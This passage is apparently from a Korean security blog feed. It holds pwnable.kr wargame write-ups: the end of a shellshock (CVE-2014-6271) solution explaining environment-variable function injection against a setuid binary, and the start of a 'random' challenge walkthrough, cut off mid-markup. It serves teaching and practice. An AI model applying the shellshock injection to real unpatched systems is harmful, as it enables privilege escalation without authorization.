line-height:130%&quot;&gt;&lt;span style=&quot;color:#0086b3&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;&amp;lt;&lt;/span&gt;stdio.h&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#4be6fa&quot;&gt;int&lt;/span&gt;&amp;nbsp;main(){&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setresuid(getegid(),&amp;nbsp;getegid(),&amp;nbsp;getegid());&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setresgid(getegid(),&amp;nbsp;getegid(),&amp;nbsp;getegid());&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;span style=&quot;color:#ffd500&quot;&gt;&quot;/home/shellshock/bash&amp;nbsp;-c&amp;nbsp;'echo&amp;nbsp;shock_me'&quot;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#c10aff&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;}&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size:9px; word-break:normal; background-color:#4f4f4f; color:white; border-radius:10px; padding:1px&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아무리 생각해도 공격방법을 알수 없어 bash -c를 찾아보던 중 shellshock이 공격기법이라는 것을 알고 찾아 봤다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;shellshock 취약점은 (CVE-2014-6271)&lt;/span&gt;으로 등록된 취약점이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;CVE-2014-6271 취약점은 환경 변수에 코드를 삽입해 예상치 못한 행위를 하는 취약점이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아래의 예로 CVE-2014-6271를 알아보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 환경변수로 변수와 함수가 등록될 수 있다는것을 알자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 713px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997C92505BE1519D1E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997C92505BE1519D1E&quot; width=&quot;713&quot; height=&quot;98&quot; filename=&quot;이미지 010.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;export라는 명령어를 통해 환경 변수를 등록했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;x를 입력했을때 &quot;marco&quot;가 출력되지 않는 이유는 x는 변수이지, 함수가 아니기 때문에 실행할 수 없다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 641px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9922DD4D5BE152161A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9922DD4D5BE152161A&quot; width=&quot;641&quot; height=&quot;82&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;함수명() { 함수 body; } 와 같이 환경변수의 함수를 선언&lt;/span&gt;할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;export -f(function) 옵션을 통해서 환경변수에 등록 가능하고 등록된 환경변수가 함수이기 때문에 실행가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그러면 이제 shellshock의 취약점을 이용해보자.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 724px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991EDF485BE152D61A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991EDF485BE152D61A&quot; width=&quot;724&quot; height=&quot;63&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;x 라는 환경 변수에 함수 문법과 비슷한 &quot;() { echo M4RC0; }&quot; 문자열을 등록했다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;환경변수 x의 내용을 보면 string이 출력된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 725px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C274425BE153E716&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C274425BE153E716&quot; width=&quot;725&quot; height=&quot;174&quot; filename=&quot;이미지 014.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;취약점이 있는 bash를 실행하고 다시 x를 보니 함수와 같이 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;함수로 등록&lt;/span&gt;되어 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;취약점이 있는 bash를 실행하면, 등록된 환경변수를 읽어오는데 함수 문법으로 되어 있으면 함수라고 판단하고 변수를 함수로 등록해버린다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;shellshock은 현재 setuid가 걸려있는 ./shellshock을 실행하면 shellshock_pwn의 권한으로 취약점이 있는 bash를 실행하고 flag를 보면 될것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 826px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996053395BE157A708&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996053395BE157A708&quot; width=&quot;826&quot; height=&quot;75&quot; filename=&quot;이미지 015.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;export&lt;/span&gt;가 아닌 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;env&lt;/span&gt;를 통해서도 공격이 가능하다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9964313D5BE159FE21&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9964313D5BE159FE21&quot; width=&quot;1000&quot; height=&quot;58&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/227</guid>
      <comments>https://marcokhan.tistory.com/227#entry227comment</comments>
      <pubDate>Tue, 6 Nov 2018 18:12:12 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  random 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/226</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- random&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh random@pwnable.kr 2222 (passwd:guest)&lt;/span&gt;로 접속하면 random 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;&amp;nbsp;ssh random@pwnable.kr -p2222 이와 같이 접속 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 859px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/997629465BE0578A16&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F997629465BE0578A16&quot; width=&quot;859&quot; height=&quot;102&quot; filename=&quot;이미지 002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 flag를 알아야 하는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 random이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random이라는 실행파일이 존재하고, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;setuid가 random_pwn의 권한&lt;/span&gt;으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;random elf 파일을 통해 random_pwn의 권한으로 flag를 볼 수 있을것 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random.c를 가지고 random elf 파일을 만들었을 확률이 높으므로 random.c를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 685px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990C6B3D5BE058090F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990C6B3D5BE058090F&quot; width=&quot;685&quot; height=&quot;381&quot; filename=&quot;이미지 003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unsigned int 형 지역변수 random를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;random;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;rand() 함수를 통해 난수를 생성한 뒤 random에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;rand()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;random&amp;nbsp;value!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unsigned int 형 지역변수 key를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key에 사용자로부터 입력을 받는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a 